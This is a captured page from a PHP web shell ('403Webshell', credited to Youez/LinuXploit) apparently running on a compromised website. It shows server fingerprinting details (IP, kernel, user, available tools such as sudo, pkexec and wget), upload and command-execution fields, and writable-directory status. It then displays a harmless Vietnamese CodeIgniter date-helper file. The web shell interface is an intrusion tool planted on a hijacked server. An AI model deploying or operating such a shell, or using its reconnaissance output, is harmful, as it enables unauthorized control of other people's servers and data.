403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.231
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/zomuaban.com/public_html/site/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/zomuaban.com/public_html/site/helpers/datetime_helper.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 


##################### TIME HELPER #####################
if ( ! function_exists('time_ago')) {
    function time_ago($datetime, $full = false) {
			
		# Số giây trong một phút
		$sm = 60;	
		# Số giây trong một giờ
		$sh = 3600;	
		# Số giây trong một ngày
		$sd = 86400;	
		# Số giây trong một tuần
		$sw = 604800;
		# Giờ hiện tại trong ngày
		$hD = date('H');
		# ngày hiện tại trong tuần
		$dW = date('w') == 0?7:date('w');
		
		$dTime = now() - $datetime;
		
		$today2sec = strtotime(date("Y-m-d"));
				
		# Chưa được một phút
		if ($dTime < $sm) return lang('just_now');
		# Chưa được một giờ
		if ($dTime < $sh) return floor($dTime / $sm) .' '.lang('minute'). ' ' .lang('ago');
		# Chưa được một ngày
		if ($hD >= floor($dTime / $sh)) 
			return floor($dTime / $sh).' ' .lang('hour'). ' ' .lang('ago');
		# Mấy giờ ngày hôm qua
		if ($datetime > ($today2sec - $sd ) && $datetime < $today2sec) 
			return date("H:i", (int)$datetime). ' ' .lang('yesterday');
		# Tuần trước
		if (floor($dTime / $sd) > $dW && floor($dTime / $sd) < 7 ) 
			return lang('last_week');
		# Trả về ngày giờ cụ thể
		return date("j/n/Y", (int)$datetime);
	}
}

# Hàm này chuyển đổi ta(chuỗi hoặc số ngày) thành int timestamp
# Cách dùng: 
#	> Hôm qua : time_ago('yesterday')
#	> 30 ngày : time_ago(30)
if ( ! function_exists('ta2stamp')) {
    function ta2stamp($ta) {
		$second = 0;
		
		# Số giây trong một phút
		$sm = 60;	
		# Số giây trong một giờ
		$sh = 3600;	
		# Số giây trong một ngày
		$sd = 86400;	
		# Phút hiện tại trong giờ
		$hM = date('i');
		# Giờ hiện tại trong ngày
		$hD = date('H');
		# ngày hiện tại trong tuần
		$dW = date('w') == 0?7:date('w');
		
		switch($ta) {
			case 'onehour'	: $second = 3600; 									break;
			case 'today'	: $second = $hD * $sh + $hM * $sm;					break;
			case 'yesterday': $second = (24 + $hD) * $sh + $hM * $sm;			break;
			case 'thisweek'	: $second = ($dW - 1) * $sd + $hD * $sh + $hM * $sm;	break;
			
			# ta là số ngày * số giây trong một ngày
			default : $second = (int)($ta * $sd); break;
		}
		return now() - $second;
	}
}

if ( ! function_exists('time_selector')) {
    function time_selector() {
		$time = array(	'anytime' 	=> lang('anytime'),
						'onehour' 	=> lang('past_hour'),
						'today' 	=> lang('today'),
						'yesterday'	=> lang('yesterday'),
						'thisweek'	=> lang('thisweek'),
					);
		return $time;
	}
}


# Hàm này chuyển timestamp thành dạng ngày/tháng/năm
if ( ! function_exists('stamp2date')) {
    function stamp2date($stamp) {
		return date("d/m/Y", $stamp);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit